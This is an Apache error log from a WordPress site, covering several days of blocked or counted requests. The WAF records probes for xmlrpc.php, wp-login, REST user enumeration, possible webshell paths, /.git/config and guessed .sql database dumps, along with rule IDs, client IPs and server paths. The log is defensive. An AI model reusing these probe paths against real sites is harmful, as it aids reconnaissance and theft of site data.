[Mon Dec 29 20:26:44.950609 2025] [:error] [pid 37389:tid 37470] [client 136.117.1.149:62636] [client 136.117.1.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.1.149, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVJzhMEYrQKI4GZ26QZZYQAAARA"]
[Mon Dec 29 20:26:47.790614 2025] [:error] [pid 37389:tid 37468] [client 136.117.1.149:62636] [client 136.117.1.149] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVJzh8EYrQKI4GZ26QZZaQAAAQ4"]
[Mon Dec 29 20:26:50.658668 2025] [:error] [pid 37389:tid 37477] [client 136.117.1.149:62636] [client 136.117.1.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.1.149, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVJzisEYrQKI4GZ26QZZbgAAARc"]
[Tue Dec 30 05:13:17.709862 2025] [:error] [pid 55721:tid 55736] [client 106.119.167.146:57049] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVLu7T7Pjf1FlL091oWgRgAAAAU"]
[Tue Dec 30 08:34:56.688325 2025] [:error] [pid 55724:tid 55808] [client 185.117.225.53:52162] [client 185.117.225.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.53, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVMeMP2xaJh1srfKTGSNkAAAAJc"]
[Tue Dec 30 08:35:04.977174 2025] [:error] [pid 55724:tid 55801] [client 185.117.225.53:52162] [client 185.117.225.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.53, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVMeOP2xaJh1srfKTGSNqgAAAJA"]
[Tue Dec 30 12:54:02.687989 2025] [:error] [pid 38777:tid 38800] [client 43.130.105.21:56326] [client 43.130.105.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVNa6mLn9GPxJXPhnHaocQAAAFQ"]
[Tue Dec 30 16:25:55.097691 2025] [:error] [pid 47553:tid 47575] [client 43.157.150.69:44132] [client 43.157.150.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVOMk7vhy9HerwSnwITILgAAAZQ"]
[Tue Dec 30 17:36:08.204299 2025] [:error] [pid 28954:tid 28960] [client 182.44.10.67:37186] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVOdCKRZgqk7uuu8M0wakQAAAAQ"]
[Tue Dec 30 20:25:20.414079 2025] [:error] [pid 47553:tid 47566] [client 43.154.250.181:57478] [client 43.154.250.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVPEsLvhy9HerwSnwIQKXQAAAYs"]
[Tue Dec 30 20:42:38.663498 2025] [:error] [pid 28825:tid 28882] [client 34.78.17.0:58128] [client 34.78.17.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.78.17.0, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVPIvj6dbc1G2hX-KfRZmQAAAMM"]
[Tue Dec 30 20:42:42.082985 2025] [:error] [pid 28825:tid 28894] [client 34.78.17.0:58128] [client 34.78.17.0] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVPIwj6dbc1G2hX-KfRZoQAAAM8"]
[Tue Dec 30 20:42:45.537736 2025] [:error] [pid 28825:tid 28892] [client 34.78.17.0:58128] [client 34.78.17.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.78.17.0, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVPIxT6dbc1G2hX-KfRZowAAAM0"]
[Tue Dec 30 20:54:16.556103 2025] [:error] [pid 28826:tid 28928] [client 103.77.106.57:54119] [client 103.77.106.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/postnews.php"] [unique_id "aVPLePOyQggePm1Ed9ubYAAAARU"]
[Tue Dec 30 20:54:17.533708 2025] [:error] [pid 28825:tid 28894] [client 103.77.106.57:54465] [client 103.77.106.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aVPLeT6dbc1G2hX-KfRbhgAAAM8"]
[Tue Dec 30 20:54:21.507065 2025] [:error] [pid 38777:tid 38786] [client 103.77.106.57:54948] [client 103.77.106.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aVPLfWLn9GPxJXPhnHYY-AAAAEY"]
[Tue Dec 30 22:17:05.053793 2025] [:error] [pid 28954:tid 28967] [client 34.170.171.175:61616] [client 34.170.171.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.170.171.175, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVPe4aRZgqk7uuu8M0xO4wAAAAs"]
[Tue Dec 30 22:17:07.846065 2025] [:error] [pid 28954:tid 28976] [client 34.170.171.175:61616] [client 34.170.171.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVPe46RZgqk7uuu8M0xO5gAAABQ"]
[Tue Dec 30 22:17:09.955812 2025] [:error] [pid 28954:tid 28973] [client 34.170.171.175:61616] [client 34.170.171.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.170.171.175, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVPe5aRZgqk7uuu8M0xO6QAAABE"]
[Tue Dec 30 23:38:45.567034 2025] [:error] [pid 47441:tid 47452] [client 43.155.140.157:56008] [client 43.155.140.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVPyBS6d2esGSN6Ne3OHdQAAAUg"]
[Wed Dec 31 02:15:35.759424 2025] [:error] [pid 1651:tid 1712] [client 34.66.143.229:56803] [client 34.66.143.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.66.143.229, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVQWx3AnYt-Xi20L7fAJlwAAAVU"]
[Wed Dec 31 02:15:39.141285 2025] [:error] [pid 1651:tid 1704] [client 34.66.143.229:56803] [client 34.66.143.229] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVQWy3AnYt-Xi20L7fAJmgAAAU0"]
[Wed Dec 31 02:15:41.378668 2025] [:error] [pid 1651:tid 1696] [client 34.66.143.229:56803] [client 34.66.143.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.66.143.229, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVQWzXAnYt-Xi20L7fAJnQAAAUU"]
[Wed Dec 31 03:14:05.210927 2025] [:error] [pid 49983:tid 50060] [client 34.75.48.71:65264] [client 34.75.48.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.48.71, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVQkfWiL1pay2WifcvayyAAAARI"]
[Wed Dec 31 03:14:08.026106 2025] [:error] [pid 49983:tid 50049] [client 34.75.48.71:65264] [client 34.75.48.71] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVQkgGiL1pay2Wifcvay0gAAAQc"]
[Wed Dec 31 03:14:10.394883 2025] [:error] [pid 49983:tid 50054] [client 34.75.48.71:65264] [client 34.75.48.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.48.71, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVQkgmiL1pay2Wifcvay2gAAAQw"]
[Wed Dec 31 03:14:32.481491 2025] [autoindex:error] [pid 49983:tid 50066] [client 159.89.181.56:52921] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Dec 31 03:44:27.881814 2025] [:error] [pid 2239:tid 2312] [client 43.131.253.14:53704] [client 43.131.253.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVQrmwyEw_5HkxEljyaHSgAAAIM"]
[Wed Dec 31 04:45:43.896790 2025] [:error] [pid 33109:tid 33126] [client 195.178.110.190:39244] [client 195.178.110.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aVQ598YN9k_fnLM-n47H-AAAAM8"]
[Wed Dec 31 04:48:46.978212 2025] [:error] [pid 33109:tid 33127] [client 34.86.53.153:49177] [client 34.86.53.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.53.153, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVQ6rsYN9k_fnLM-n47KFQAAANA"]
[Wed Dec 31 04:48:49.818132 2025] [:error] [pid 33109:tid 33129] [client 34.86.53.153:49177] [client 34.86.53.153] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVQ6scYN9k_fnLM-n47KHQAAANI"]
[Wed Dec 31 04:48:52.055677 2025] [:error] [pid 33109:tid 33120] [client 34.86.53.153:49177] [client 34.86.53.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.53.153, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVQ6tMYN9k_fnLM-n47KIQAAAMk"]
[Wed Dec 31 11:31:39.697260 2025] [:error] [pid 48833:tid 48859] [client 43.166.1.243:57570] [client 43.166.1.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVSZG2PnRNOqqZ1OQg9xngAAAFg"]
[Wed Dec 31 12:27:32.415960 2025] [proxy_fcgi:error] [pid 64406:tid 64423] [client 103.4.122.14:43812] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Wed Dec 31 12:27:43.919250 2025] [:error] [pid 64406:tid 64410] [client 122.51.236.174:42268] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVSmPyLRcJYP7e7OhBadkwAAAQI"]
[Wed Dec 31 16:42:00.948996 2025] [:error] [pid 48715:tid 48787] [client 138.197.17.1:53318] [client 138.197.17.1] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "aVTh2GamQpQY7KfuoW1D0AAAAI8"], referer: binance.com
[Wed Dec 31 18:36:04.748990 2025] [:error] [pid 8068:tid 8094] [client 123.187.240.242:41453] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVT8lCSVtzoWnijCxFZMfAAAAdg"]
[Wed Dec 31 18:54:14.164419 2025] [:error] [pid 7576:tid 7590] [client 43.159.143.187:46068] [client 43.159.143.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVUA1qFUpQkpGJNxC_-qPwAAAUw"]
[Wed Dec 31 22:01:16.810042 2025] [:error] [pid 8068:tid 8077] [client 43.130.16.140:46384] [client 43.130.16.140] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVUsrCSVtzoWnijCxFZ7zAAAAcc"]
[Thu Jan 01 01:06:17.951471 2026] [:error] [pid 8068:tid 8086] [client 192.144.148.122:53092] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVVYCSSVtzoWnijCxFanxwAAAdA"]
[Thu Jan 01 02:16:24.607971 2026] [:error] [pid 8068:tid 8082] [client 43.130.102.223:38408] [client 43.130.102.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVVoeCSVtzoWnijCxFa2aQAAAcw"]
[Thu Jan 01 05:57:09.617221 2026] [:error] [pid 58819:tid 58899] [client 43.157.50.58:51218] [client 43.157.50.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVWcNRMbLE49waxUJzOoNQAAAJM"]
[Thu Jan 01 07:15:18.928136 2026] [:error] [pid 58924:tid 58930] [client 117.33.163.216:55650] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVWuhjYXM8NvhWQPUGvDhAAAAMQ"]
[Thu Jan 01 08:08:27.880994 2026] [:error] [pid 58370:tid 58374] [client 38.135.25.142:46066] [client 38.135.25.142] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/vetstars_com.sql"] [unique_id "aVW6-zkIHVNixymRHHcUZwAAAQI"]
[Thu Jan 01 08:08:30.633625 2026] [:error] [pid 58924:tid 58932] [client 192.42.116.181:44972] [client 192.42.116.181] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/vetstar.sql"] [unique_id "aVW6_jYXM8NvhWQPUGvTNAAAAMY"]
[Thu Jan 01 08:08:31.746179 2026] [:error] [pid 58817:tid 58829] [client 107.189.5.7:18388] [client 107.189.5.7] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/backupwp.sql"] [unique_id "aVW6_1ebWGLeUWiwYf_0LgAAAAM"]
[Thu Jan 01 08:08:32.889879 2026] [:error] [pid 58370:tid 58375] [client 5.255.99.5:33468] [client 5.255.99.5] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/tars_com.sql"] [unique_id "aVW7ADkIHVNixymRHHcUcwAAAQM"]
